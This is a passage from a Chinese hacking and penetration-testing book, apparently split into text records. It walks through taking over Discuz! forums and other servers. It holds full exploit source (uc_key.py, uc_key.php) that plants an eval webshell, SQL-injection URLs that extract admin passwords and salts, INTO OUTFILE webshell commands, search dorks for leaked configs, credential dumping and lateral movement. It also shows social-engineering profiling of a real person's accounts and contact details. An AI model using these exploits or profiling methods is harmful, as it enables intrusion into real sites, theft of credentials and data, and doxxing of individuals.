    {"text": "1．直接获取WebShell和管理员密码 通过Google、百度等搜索引擎搜索“Powered by Discuz! 7.2”，在搜索结果中随机选取一个论坛，在DOS命令提示符下输入“php dz7.2.php www1 .xxxx.com/1”及“php dz7.2.php www1.xxxx.com/2”命令，如图5-43所示，直接获取该网站的WebShell及管理员密码。 图5-43 获取WebShell及管理员密码 注意 （1）需要本地搭建PHP运行环境。"},
    {"text": "本例使用的是ComsenzEXP X2.5，下载地址为http://www.comsenz. com/downloads/install/exp/，安装后需要修改php.ini文件。 该文件存储在该软件的PHP目录中，如“D:\\ ComsenzEXP\\ PHP5”。 打开php.ini文件，将以下内容修改为实际安装文件的路径，否则执行PHP命令时会报错。 zend_extension_manager.optimizer_ts=\"D:\\ComsenzEXP\\PHP5\\Zend\" zend_extension_ts=\"D:\\ComsenzEXP\\PHP5\\Zend\\ZendExtensionManager.dll\" （2）“/”后需要留一个空格。"},
    {"text": "在“中国菜刀”中对上面获取的WebShell进行连接测试，如图5-44所示，成功获取WebShell。 图5-44 对WebShell进行连接测试 2．通过uc_key获取WebShell测试 01 获取uc_key值 在本地打开config.inc.php文件，如图5-45所示，将uc_key值复制。"},
    {"text": "图5-45 获取uc_key值 02 修改uc_key_dz72_me.php程序配置 在uc_key漏洞利用程序uc_key_dz72_me.php中，需要手动配置host和uc_key的值，如图5-46所示。 图5-46 修改漏洞利用程序配置 03 修改Discuz! 7.2的实际安装路径 uc_key漏洞利用程序uc_key_dz72_me.php默认安装在根目录中，但在实际使用中，可能安装在其他目录中，如“bbs”、“forum”等。 如果没有安装在默认根目录中，则需要在send()函数中修改uc.php的真实路径，如修改为“/dz72/api/uc.php”。 如果安装在默认根目录中，则为“api/uc.php”，其他保持不变，如图5-47所示。 图5-47 修改POST参数 04 执行利用程序 在php.exe程序所在目录中执行“php uc_key_dz72_me.php”命令，如图5-48所示，会出现“1”的提示，表明成功获取WebShell。 图5-48 执行漏洞利用程序 05 查看config.inc.php文件 再次打开config.inc.php文件，如图5-49所示，uc_key中新增了一句话后门代码，使用“中国菜刀”连接，密码为“cmd”。 图5-49 成功获取WebShell 3．手动获取uc_key和WebShell 01 获取uc_key前62位的值 在浏览器的地址栏中，在目标地址后面加上“/faq.php?action=grouppermission&gids[99]=%27&gids[100] [0]=)%20and%20(select%201 %20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select% 20substr(authkey,1,62)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23”，执行后获取uc_key前62位的值，如图5-50所示。 图5-50 获取uc_key前62位的值 02 获取剩余的uc_key值 在上述代码中，将“（authkey,1,62）”修改为“（authkey,61,64）”，如图5-51所示，获取uc_key值“j2J6”，去掉“j2”，将前后值相加，即为uc_key的真实值。"},
    {"text": "图5-51 获取uc_key的剩余值 图5-52 一次只能获取62位的值 03 获取WebShell 将uc_key的值、host的值及真实的路径值进行修改，然后通过uc_key漏洞利用程序成功获取WebShell，如图5-53所示。 图5-53 获取WebShell 04 修补程序漏洞 在faq.php文件中找到“action==grouppermission”代码，在其后添加“$gids = array();”，如图5-54所示，保存后即可修复faq.php注入漏洞。 图5-54 修复faq.php文件注入漏洞 4．管理员不是默认的获取WebShell 01 获取admin用户的密码，但admin不是管理员账号 通过漏洞利用程序，获取管理员账号admin的密码和SALT值，如图5-55所示，在cmd5.com网站进行查询。"},
    {"text": "图5-55 获取admin账号的密码 图5-56 登录网站 02 获取管理团队的账号和uid值 在论坛中依次单击“论坛统计”→“管理团队”选项，如图5-57所示，获取所有管理团队的用户账号，单击该账号可以获取uid值。"},
    {"text": "图5-57 获取管理员账号和uid值 03 获取真实管理员的账号、密码和SALT值 在浏览器中输入以下代码，获取指定uid的密码、电子邮件和SALT值。"},
    {"text": "http://www.antian365.com/faq.php?action=grouppermission&gids[99]=%27&gids[10 0][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28se lect%20concat%28username,0x3a,email,0x3a,password,0x3a,salt%29%20from%20cdb_uc_m embers where uid=50477 %20limit%200,1%29,floor%28rand%280%29*2%29%29x%20 from%20information_schema.tables%20group%20by%20x%29a%29%23 通过出错信息获取其相应的值，如图5-58所示。"},
    {"text": "5.8 实战UC_Key获取Discuz! X2.5论坛的WebShell 某技术人员在乌云漏洞平台公布了在Discuz！ 环境中利用uc_key进行Getshel的文章（http://www.wooyun.org/bugs/wooyun-2014-048137），网上随即公开了两套通过uc_key获取WebShell的代码。"},
    {"text": "5.8.1 测试网上公布的0day代码 在搜索引擎中检索关键词“uc_key”，可以方便地找到一些通过uc_key获取WebShell的文章，通过阅读这些文章，可以顺利获取0day代码。"},
    {"text": "1．测试误区 下载uc_key.php和uc_key.py代码后，首先通过程序uc_key.py进行编译，结果出现错误提示“IndexError: list index out of range”，如图5-59所示。"},
    {"text": "直接执行“python uc_key.py 127.0.0.1”命令，则可以顺利执行。 图5-59 测试uc_key.py出错 2．uc_key.php测试 01 获取uc_key值 uc_key可以通过“config\\config_ucenter.php”文件获取，也可以通过登录后台获取。 如图5-60所示，依次单击“站长”→“Ucenter设置”选项，复制“Ucenter通信密钥”文本框中的值即可。 图5-60 获取uc_key的值 02 获取WebShell 在对Discuz! X3.1的测试过程中发现，如果系统开启了防火墙，会禁止危险脚本的访问，如图5-61所示，对利用代码进行屏蔽和阻止，会导致WebShell获取失败。"},
    {"text": "执行“php uc_key.php”命令后，会直接修改“config\\config_ucenter.php”文件，如图5-63所示，密码为“1”。 图5-63 修改配置文件获取WebShell 通过uc_key.php获取WebShell，每次都需要修改uc_key.php文件中的host和uc_key值，使用起来不太方便，而通过uc_key.py则方便很多。 如图5-64所示，通过执行“python uc_key.py host uc_ key值”，可以直接获取WebShell。 图5-64 通过uc_key.py文件获取WebShell 5.8.2 实战获取WebShell 下面给出一个通过uc_key获取WebShell的实例。"},
    {"text": "01 搜索敏感配置文件 在Google的搜索栏中输入“config/config_global.php.bak”和“config/config_ucenter.php.bak”，如图5-65所示，对搜索结果进行分析和整理。"},
    {"text": "图5-65 搜索敏感信息 02 查看搜索结果 在搜索结果中获取“www.tjeco.org/edusite/config”，明显存在文件路径泄露漏洞，如图5-66所示，单击文件超链接，尝试获取文件的具体内容。"},
    {"text": "图5-66 获取敏感文件泄露漏洞 03 获取数据库备份文件 对该站点存在的数据库地址进行浏览和查看，如图5-67所示，管理员对网站数据进行过备份，单击可以直接下载。"},
    {"text": "图5-67 下载数据库 04 破解管理员密码 下载120903_dl8Ni1-1.sql文件，将该数据库备份文件导入本地MySQL数据库进行查看，如图5-68所示，获取用户密码等信息。"},
    {"text": "图5-68 获取用户密码等信息 图5-69 获取管理员密码 05 获取uc_key值 如图5-70所示，通过后台管理系统获取uc_key通信密钥值。 图5-70 获取uc_key值 06 获取WebShell 将该值通过“php uc_key.php”或“python uc_key.py www.xxx.org uc_key”命令进行漏洞利用，成功获取WebShell，如图5-71所示。"},
    {"text": "图5-71 成功获取WebShell 07 获取服务器系统管理员账号 如图5-72所示，通过WebShell命令提示符，执行“whoami”命令，得知脚本为system权限，上传wce.exe文件，通过“wce-w”命令直接获取系统管理员密码。"},
    {"text": "5.8.4 程序源代码 源码1 uc_key.py #! /usr/bin/env python #coding=utf-8 import hashlib import time import math import base64 import urllib import urllib2 import sys def microtime(get_as_float = False) : if get_as_float: return time.time() else: return '%.8f %d' % math.modf(time.time()) def get_authcode(string, key = ''): ckey_length = 4 key = hashlib.md5(key).hexdigest() keya = hashlib.md5(key[0:16]).hexdigest() keyb = hashlib.md5(key[16:32]).hexdigest() keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:] #keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:] cryptkey = keya + hashlib.md5(keya+keyc).hexdigest() key_length = len(cryptkey) string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string string_length = len(string) result = '' box = range(0, 256) rndkey = dict() for i in range(0,256): rndkey[i] = ord(cryptkey[i % key_length]) j=0 for i in range(0,256): j = (j + box[i] + rndkey[i]) % 256 tmp = box[i] box[i] = box[j] box[j] = tmp a=0 j=0 for i in range(0,string_length): a = (a + 1) % 256 j = (j + box[a]) % 256 tmp = box[a] box[a] = box[j] box[j] = tmp result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256])) return keyc + base64.b64encode(result).replace('=', '') def get_shell(url,key,host): ''' //发送命令获取 WebShell ''' headers={'Accept-Language':'zh-cn', 'Content-Type':'application/x-www-form-urlencoded', 'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)', 'Referer':url } tm = time.time()+10*3600 tm=\"time=%d&action=updateapps\" %tm code = urllib.quote(get_authcode(tm,key)) url=url+\"?code=\"+code data1='''<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?> <root> <item id=\"UC_API\">http://xxx\\');eval($_POST[1]);//</item> </root>''' try: req=urllib2.Request(url,data=data1,headers=headers) ret=urllib2.urlopen(req) except: return \"访问出错\" data2='''<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?> <root> <item id=\"UC_API\">http://aaa</item> </root>''' try: req=urllib2.Request(url,data=data2,headers=headers) ret=urllib2.urlopen(req) except: return \"error\" return \"webshell:\"+host+\"/config/config_ucenter.php,password:1\" if __name__ == '__main__': host=sys.argv[1] key=sys.argv[2] url=host+\"/api/uc.php\" print get_shell(url,key,host) 源码2 uc_key.php <?php // 代码版权归原作者所有！"},
    {"text": "$timestamp = time()+10*3600; $host=\"127.0.0.1\"; $uc_key=\"0e4b66b816fb33cf20b7686d6492xxxx8f5479fb2519895a1e7d43a52fde6f46\"; $code=urlencode(_authcode(\"time=$timestamp&action=updateapps\", 'ENCODE', $uc_key)); $cmd1='<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?> <root> <item id=\"UC_API\">http://xxx\\');eval($_POST[b]);//</item> </root>'; $cmd2='<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?> <root> <item id=\"UC_API\">http://aaa</item> </root>'; $html1 = send($cmd1); echo $html1; $html2 = send($cmd2); echo $html2; function send($cmd){ global $host,$code; $message = \"POST /api/uc.php?code=\".$code.\" HTTP/1.1\\r\\n\"; $message .= \"Accept: */*\\r\\n\"; $message .= \"Referer: \".$host.\"\\r\\n\"; $message .= \"Accept-Language: zh-cn\\r\\n\"; $message .= \"Content-Type: application/x-www-form-urlencoded\\r\\n\"; $message .= \"User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\\r\\n\"; $message .= \"Host: \".$host.\"\\r\\n\"; $message .= \"Content-Length: \".strlen($cmd).\"\\r\\n\"; $message .= \"Connection: Close\\r\\n\\r\\n\"; $message .= $cmd; //var_dump($message); $fp = fsockopen($host, 80); fputs($fp, $message); $resp = ''; while ($fp && !feof($fp)) $resp .= fread($fp, 1024); return $resp; } function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } } ?> 5.9 对某虚拟主机的一次安全渗透 虚拟主机提供商所提供的服务器的安全性相对较高，即使其中的某个站点存在安全漏洞，也不会影响其他站点，攻击者无法获取其他站点的数据。"},
    {"text": "在入侵中，对虚拟主机的入侵而言，如果针对某个站点不能入侵成功，那么攻击者往往会采用旁注的方法入侵虚拟主机上的其他站点，当成功得到其他站点的WebShell后，就可以获取指定站点的数据库、管理后台等信息，再实施深层次的渗透了。 对虚拟主机的渗透一般前半部分容易实现，后半部分相对较难。 在本例中，虚拟主机设置相对还是安全，只有一个细节没有设置好，从而导致整个服务器乃至所管理的服务器群主机失陷。"},
    {"text": "5.9.1 获取虚拟主机上某站点的WebShell SQL注入、FTP口令扫描等都可以获取WebShell。 笔者的WebShell算是比较牢固的，很早获取了一个虚拟主机的FTP配置文件。"},
    {"text": "图5-73 获取WebShell 5.9.2 使用WebShell中的提权功能进行提权尝试 目前的WebShell功能很强大，只要能够想到的都能做到。 在该WebShell中提供了很多提升权限的地方，如查看提权目录列表Program、pcAnywhere、Serv-u、RealServer、SQL、config、data、temp、Recycler等，如图5-74所示。"},
    {"text": "图5-74 查看提权目录 在本例中，通过对Program、pcAnywhere、Serv-U、RealServer、SQL、config、data、temp、Recycler等可能提权的目录依次进行查看，如图5-75所示，不是无法访问就是路径未找到，因此，利用这些目录提权是行不通的。"},
    {"text": "图5-75 查看系统可读写目录 5.9.3 查看可写目录 在WebShell的功能列表中单击“查看可写目录”选项，如图5-76所示，WebShell会给出其可读写的所有目录，单击“详细报告”按钮可以查看详细情况。"},
    {"text": "图5-76 依次查看可读写文件目录 图5-77 获取相应文件路径失败 系统的“Temp”目录中可能会保留一些有用信息，而该主机的操作系统为Windows 2003，系统盘下的“Windows\\temp”目录能够读取，所以，可以尝试从中获取可以利用的信息。"},
    {"text": "在一些系统中，主机管理系统会将部分运行信息保留在临时会话中，由于程序运行完毕后未对“Temp”目录进行清理，因此，只要找到这些信息，也可以用来提升权限。 下载并打开“C:\\Windows\\temp”目录下的每一个文件，如图5-78所示，通过查看该目录中生成的sess_*文件，发现以“sess”开头的文件是该系统所提供虚拟主机的多个站点的临时会话，虽然有些会话中包含了用户账号等信息，但对本次提升权限意义不大。"},
    {"text": "图5-78 打开并查看“Temp”目录中的文件 继续对磁盘进行查看，发现G盘中有一个目录可以读写，如图5-79所示，其名称为“setup”。 “setup”目录一般是管理员进行程序安装及设置时使用的目录。 在该“setup”文件夹下有多个文件夹，对各个文件夹依次进行查看。 图5-79 获取G盘唯一可读写目录 说明 对整个磁盘进行查看，仅发现“setup”目录可读写，这极有可能是管理员在安装和设置程序后没有及时删除或者进行安全限制所致。"},
    {"text": "笔者曾经看过一篇有关虚拟主机渗透方法的文章，提到过使用SiteManager必须要有具备系统管理员权限的用户名和密码，在相关配置文件中会以明文形式存在，本次渗透就印证了这一点。"},
    {"text": "图5-81 找到SiteManager所用的管理员用户名和密码 02 查看远程终端端口 在WebShell中单击“特殊端口”选项，探测并查看系统特殊端口的开放情况。 如图5-82所示，该服务器远程终端3389端口是开放的，由于该WebShell无法执行“netstat-an”等DOS命令，所以当该计算机的3389端口是打开的。 图5-82 获取端口开放情况 说明 使用WebShell读取的注册表数据不一定准确，在本例中就是这样：WebShell获取的3389端口是3389，而实际的终端端口是6688。"},
    {"text": "03 进入系统 输入“mstsc”命令，打开远程终端登录器，输入IP地址及获取的用户名称和密码，成功进入系统，使用“IPconfig/all”命令查看，发现该计算机有3个IP地址，如图5-83所示。 图5-83 进入系统 5.9.5 渗透内外网 01 获取系统口令 使用3389远程终端登录，系统无法使用GetPw及PwDump（在DOS下获取密码的工具）等工具获取系统的密码，NC一传上去就不见了，上传多次都不成功。 实在没有办法，直接下载Radmin 2.2并安装到服务器上，通过其Telnet执行“getpw $local”命令来获取其系统的Hash值，然后对获取的Hash值进行整理，并将其导入LC5中进行破解，如图5-84所示。"},
    {"text": "02 探测相同网段具有该端口的远程终端IP地址 使用“sfind-p 6688 60.*.*.1 60.*.*.255”命令查看与被渗透成功的主机网段相同的开放6688端口的IP地址，如图5-85所示，找到4个IP地址。 图5-85 使用sfind命令探测开放6688端口的同网段的其他IP地址 03 使用获取的用户账号和密码进行登录 使用原来获取的用户账号和密码尝试登录，成功进入系统，如图5-86所示，该服务器有2个IP地址。"},
    {"text": "该网段均是国内某虚拟主机提供商的IP地址，从破解密码的困难程度可以侧面证明，该系统的管理员的安全意识还是很高的——一个星期了，密码都没有破解成功。"},
    {"text": "5.10.1 SQL注入测试 在IE浏览器中正常打开网站http://www.xxxxxxxx.kr/index.php?id=1483，浏览网页，如图5-87所示，一切显示正常。 在该网页地址后面添加一个单引号后访问该地址，发现显示内容发生了明显的变化，右侧显示了图片，说明可能存在SQL注入点，如图5-88所示。 图5-87 访问正常页面 图5-88 出错后显示的内容 5.10.2 使用Havij SQL注入攻击进行自动检测 打开Havij SQL注入工具，将存储在SQL注入点的地址复制到“Target”文本框中，然后单击“Analyze”按钮进行检测，如图5-89所示。"},
    {"text": "图5-89 获取数据 Target: http://www.xxxxxxx.kr/index.php?id=1483 Host IP: 211.xxx.xxx.xxx Web Server: Apache/2.2.3 (CentOS) Powered-by: PHP/5.1.6 DB Server: MySQL >=5 Current DB: bxxxxc 5.10.3 获得管理员账号和密码 获取网站的基本信息后，依次单击“Get DBS”→“Get Table”→“Get Columns”→“Get Data”选项，浏览通过Havij获取的数据库中的表，可以判断xe-member为管理员表。"},
    {"text": "图5-90 获取管理员密码 5.10.4 尝试读取Linux系统中的文件 01 读取Passwd和Shadow文件 单击“Read Files”按钮，在“File Address”文本框中输入“/etc/passwd”进行读取，结果如图5-91所示，将其复制到文件中进行查看。"},
    {"text": "图5-91 读取“/etc/passwd”文件的内容 02 读取网站文件 通过“/etc/passwd”文件直接读取存在SQL注入点的PHP文件，在“File Address”文本框中输入“/home/lixxxxxx/index.php”，如图5-92所示，得知该数据库用户为“root”，密码为“gxxx5”。 图5-92 读取网站文件 03 读取Apache配置文件 通过分析“/etc/passwd”文件可以知道，该服务器采用“Apache+MySQL+PHP”架构，因此，读取Apache配置文件即可获取网站的真实路径。"},
    {"text": "将SQL注入地址复制到Pangolin中，在检测出SQL注入点以后直接切换到“File Reader”模块，将Apache配置文件复制到“File Path”文本框中，结果如图5-94所示。 图5-93 使用Havij读取Apache配置文件失败 图5-94 使用Pangolin读取Apache文件 5.10.5 构建和获取WebShell 01 使用Pangolin写入WebShell 在Pangolin中单击“File Writer”按钮，在“File Path”文本框中输入“/home/life2health/zwell.php”，文件内容就是用Pangolin默认的内容，如图5-95所示。"},
    {"text": "图5-95 使用Pangolin的文件写入失败 02 通过数据库的outfile获取WebShell 在本例中，由于获取了网站的真实路径及数据库root用户的密码，因此可以尝试通过outfile获取WebShell。"},
    {"text": "使用MySQL-Front登录该MySQL数据库服务器，执行“Select '<?php eval($_POST[cmd]);?>' into outfile'/home/xxxxx/img/12.php' ;”命令，如图5-96所示，显示SQL执行错误，原因可能是网站目录没有写入权限。"},
    {"text": "图5-96 写入文件执行失败 回到Apache的配置文件目录，将所有网站配置文件中有关网站路径的内容重新整理，逐一进行测试，终于在测试到diet网站时成功了，如图5-97所示。"},
    {"text": "图5-98 获取WebShell 将其下载到本地进行查看，通过分析，获悉该压缩文件为国内某门户网站的所有数据库文件，该Linux服务器不过是一台文件中转服务器。"},
    {"text": "图5-99 从国内服务器下载数据 由此可见，该攻击者非常小心，先将压缩后的数据库文件上传到国内肉机中，然后从国内肉机将文件转移到国外的Linux服务器上，最后从国外的服务器上将文件下载到本地。"},
    {"text": "5.10.6 提权及下载数据库 利用“中国菜刀”上传一个功能比较齐全的WebShell，如图5-100所示，通过执行命令及反弹端口等操作，发现该WebShell的权限较小，估计前期攻击者已经对服务器进行了加固，所以即使获取了WebShell也无法提权。"},
    {"text": "• 使用MySQL-Front导出一句话木马。 使用MySQL-Front连接MySQL数据库成功后，执行“Select '<?php eval($_POST[cmd]);?>' into outfile'/home/xxx/img/antian365.com.php' ;”语句，即可将一句话木马导出到目录“/home/xxx/img/”下，通过“中国菜刀”即可获得WebShell。"},
    {"text": "现在很多Web服务器都采用“Apache+Mysql+PHP”架构，读取httpd.conf文件即可获取所有网站的真实路径等信息，这些信息在生成一句话的WebShell时特别有用。"},
    {"text": "• Linux中的目录权限限制较严格，一般而言在，网站根目录下都会有可写目录。 在写WebShell时需要多尝试，特别是img、images和xml等目录，都是常见的可写目录。"},
    {"text": "渗透也是需要创新的，通过多种方法的组合，或者在某一种常规渗透方法上配合一些新的技术，往往就能顺利渗透目标对象。 这些方法有抓包分析、社工渗透、内网多种方法配套渗透、JBoss服务器渗透等。"},
    {"text": "本章主要内容 社会工程学渗透 网络维护过程中的渗透与反渗透 Boss获取WebShell Boss Application Server获取WebShell 通过Tomcat弱口令渗透某Linux服务器 Struts S016和S017漏洞利用实例 JBoss获取WebShell JspRun！ 后台获取WebShell ECSHOP后台获取WebShell 0day分析之ColdFusion本地包含利用方法 一种新型PHP网站后门隐藏技术研究 OpenSSL“心脏出血”漏洞分析及利用 通过网上信息获取某Linux服务器的WebShell 一句话密码破解获取某网站WebShell 突破防篡改继续上传 渗透测试之旁注 内网渗透嗅探术 6.1 社会工程学渗透 很多朋友玩社工都很厉害。"},
    {"text": "1．操刀上阵——我的“三板斧” 笔者看到链接地址“http://www.AAA.com/BBB/CCC.php?pid=XXX”，就试着在其地址后添加一个单引号，随之绝对路径就被泄露了。"},
    {"text": "有时可能不会只通过一个简单的单引号就暴露路径，所以，可以试试随意输入一些字符（当然要灵活运用），路径为“F:\\AAA\\BBB\\bbs6.1 \\CCC\\db_ mysql.class.php”，如图6-1所示。"},
    {"text": "3．无影腿——SQL注入测试 提交“and 1=1”和“and 1=2”，“and 1=1”返回正常，但是提交“and 1=2”的时候，却自动跳转到“and 1=1”的页面，而且提交的“and 1=2”也变成了“and 1=1”，使用“/**／”代替空格，发现还是一样。"},
    {"text": "4．开山掌——获取SQL注入长度 接着就是判断长度了，“order by X”，以10个为一组依次递增，最后发现到30的时候出现错误，所以，长度在20至30之间。"},
    {"text": "图6-2 获取长度 5．无上心法——获取数据库版本和用户等信息 得到长度之后，提交“http://www.AAA.com/BBB/CCC.php?pid=407/**/and/**/1=2/**/union/**/select/* */1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*”，出现了9和11两个值。"},
    {"text": "用version()和user()替换这两个值，查看MySQL的版本和用户，如图6-3所示，信息如下。 图6-3 获取MySQL数据库的版本和用户信息 User = root@localhost Version = 5.0.20 -nt-log 6．一招制敌——获取数据库密码 可以通过以上信息推断，数据库和Web在一起，没有分离，还是root权限，而且是MySQL5数据库。"},
    {"text": "把“F:\\AAA\\BBB\\bbs6.1\\CCC\\db_mysql.class.php”这个路径转换成16进制读取，查看源文件，查找require或者include引入文件，找到数据库连接文件config.inc.php的真实路径，如图6-4所示，有时候可能页面无法显示，那就查看源文件。"},
    {"text": "修改路径，把“config.inc.php”放到路径上面，继续转换，接着提交，这时就能查看root的密码了，示例如下，如图6-5所示。 图6-4 获取数据库的配置文件路径 图6-5 获取数据库密码 $dbhost = 'localhost'; // 数据库服务器 $dbuser = 'root'; // 数据库用户名 $dbpw = 'XXX'; // 数据库密码 $dbname = 'XXX'; // 数据库名 6.1.2 小遇周折，提权成功 提权的道路不会一帆风顺，但还是要积极想办法解决问题。 1．无法获取phpMyAdmin 问题就出在这里。 大家都知道，一般使用MySQL数据库的网站，都喜欢使用phpMyAdmin来管理数据库，那么我们就来找找phpMyAdmin的地址——结果没有找到。 用自己编写的小工具扫描PHP网站后台、phpMyAdmin及上传页面，也没有结果。"},
    {"text": "= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = Create TABLE a (cmd text NOT NULL); Insert INTO a (cmd) VALUES('<?php eval($_POST[cmd]);?>'); select cmd from a into outfile '网站可写路径/一句话马名.php'; Drop TABLE IF EXISTS a; = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 访问一句话木马的地址——一片空白，足以说明成功写入。"},
    {"text": "1．社工进入其管理的一台服务器 一个管理员的名字引起了笔者的注意。 因为在注入之前，笔者访问过那个论坛，发现网站管理员的名字和笔者相同。"},
    {"text": "图6-12 进入管理后台 3．社工之收集资料 社工其实没有太高的难度，就是利用搜集的资料和足够的信息对目标账号依次试验，关键是看目标账号的所有者，如果这个所有者太“弱”了，那么被社工是“分分钟”的事情。"},
    {"text": "02 利用这些资料，对那些有用的地方进行社工，如电子邮箱、淘宝的个人资料等（淘宝上的基本都是真实的信息）。 03 利用第二次收集的资料进行社工。"},
    {"text": "• 个人：fXXXXove，冰X • 密码：xxxxx，xxxxxx，xxxxxx • QQ：648XX14，9143XXXX • 支付宝：fxxxxov • Email：fxxxxove@qq.com，fxxxxove@yahoo.com.cn • 联系电话：134xxxx5919 • MSN：fxxxove@hotmail.com • 出生日期：1980年x月x日 第二步，第一组账号是Discuz！"},
    {"text": "官网获取其个人信息 接着，用第一个密码访问其他网站，发现此人的现居地、个人简历及兴趣爱好等信息，如图6-14所示。 图6-14 进一步获取其个人信息 使用以上用户名和密码访问更多网站，也成功登录，如图6-15所示，只是其中一个网站的登录密码不同，使用的是第二个密码。 图6-15 登录其他网站 继续访问更多网站，如图6-16所示，资料基本相同，只是额外获得了其身高信息。 图6-16 进入更多网站和博客 接着，进入目标账号在某网站的空间，有一些有用信息，如图6-17所示，性别为“女”，年龄为32岁，现居地为广东深圳（难道上面的“山东”是假的？"},
    {"text": "最后根据空间里面的旅游照片判断，山东是假的。 因为有一个外出郊游的相册，里面的穿着、时间还有风景不像是山东的，而且南方和北方的气温差异很大，同一时期穿着是不一样的）。"},
    {"text": "按理说，此服务器上的网站程序安全性尚可，共有3个网站，一个是Discuz! 7.0的论坛，一个是此次社工的Discuz! 6.x网站，另一个是网上手机商城（因为反查IP域名失败，所以没有详细研究）。 但是，这个Discuz! 6.x网站存在注入，倘若此时依次嗅探，估计能拿下其他同网段的服务器。"},
    {"text": "6.2 网络维护过程中的渗透与反渗透 一个朋友告诉笔者，他在访问自己公司网站时跳出很多奇怪的页面，而且杀毒软件提示网页存在病毒——第一感觉就是公司服务器被入侵了。 6.2.1 网站挂马检测和清除 01 使用软件嗅探被挂马页面 得知朋友的远程终端和公司网站名称后，首先在虚拟机中使用URLSnooper对网站进行嗅探，果然网站多处文件被挂马，如图6-19所示。"},
    {"text": "图6-19 使用URLSnooper监听网站的所有链接和访问 说明 （1）URLSnooper是一款安全检查工具，看其名称就知道该软件是URL监视软件，笔者认为它是一款捕捉网站是否挂马的好工具。 URLSnooper的安装比较简单，安装完毕后需要安装默认的抓包软件。"},
    {"text": "到网站根目录查看网站文件的最近修改时间。 首页更改的时间为8月25日，因此可以借助系统的文件搜索功能搜索8月24日至8月26日之间的文件。"},
    {"text": "图6-20 查找被修改的网站文件 02 清除挂马代码 在所有文件中查找代码“<script src=http://%61%76%65%31%2E%63%6E></script>”，然后将其清除。"},
    {"text": "open 122.138.14.8 gusdn lixuanyu binary get 1.exe bye 该文件是FTP自动下载的配置信息，直接使用CuteFTP软件，填写IP地址和账号、密码，顺利登录，如图6-21所示。"},
    {"text": "从服务器上的文件不难看出，这台机器的FTP路径是Windows系统某个磁盘的根目录，里面有不少黑客用的工具，机主肯定是一个入侵者或者安全爱好者。"},
    {"text": "图6-22 查看远程服务器端口开放情况 说明 很多入侵者在利用网上下载的工具时，没有很好地设置和改造，只是进行简单的配置后便开始攻击和入侵，因此在肉机上经常留下各种木马的安装文件，有时甚至还有FTP自动上传文件的配置文件。"},
    {"text": "1．使用获取的FTP账号猜测服务登录口令 既然服务器开放了3389端口、FTP服务，那么可以尝试利用FTP的账号和口令登录其3389远程桌面。 猜测administrator的口令，结果不是“gusdn”，也不是“lixuanxu”，说明使用FTP账号和口令不能进入系统，需要换一个思路。 2．从网站入手 使用IE浏览器打开该IP地址，可以正常访问。 该服务器提供了Web服务，网站为游戏私服服务器，如图6-23所示，通过HDSI及Domain 3.5等SQL注入工具对网站进行探测，没有找到可以利用的地方。 图6-23 服务器提供Web服务 3．从FTP目录入手 在FTP的目录中有一个“web”子目录，会不会与网站有关系呢？ 上传一个ASP木马到“web”子目录试试。 不试不知道，一试吓一跳——这个目录正是网站的根目录，ASP小马可以正常运行，如图6-24所示。 通过ASP木马在网站中看了看，发现可以浏览所有磁盘，不过只有D盘有写权限。 经过与FTP中的文件进行对比，FTP的根目录就是D盘。 图6-24 上传ASP木马 既可以上传文件，也可以浏览文件，那么，要想提升权限，还必须能执行命令。 上传一个ASP的cmd木马到“web”子目录，竟然不能执行。"},
    {"text": "图6-25 使用ASP.NET木马查看系统管理员账号 5．获取数据库用户管理员密码 按照密码设置习惯，入侵者极有可能使用了相同的密码，因此，可以尝试获取数据库中用户的密码以登录远程终端服务器。"},
    {"text": "使用CuteFTP对整个网站目录中的文件进行查看，在“TT”目录中发现数据库文件“$_$%●yingzi★!#%&^$#.asa”，使用FTP下载后，把文件的后缀改为“mdb”，使用Access直接打开该数据库，如图6-26所示，从中找到管理员使用的表Gq_Admin。 图6-26 获取管理员表Gq_Admin 从表Gq_Admin中发现存在“gusdn”用户，并且是高级管理员权限，密码用MD5加密后是“5334e6dd7b8exxxx”。"},
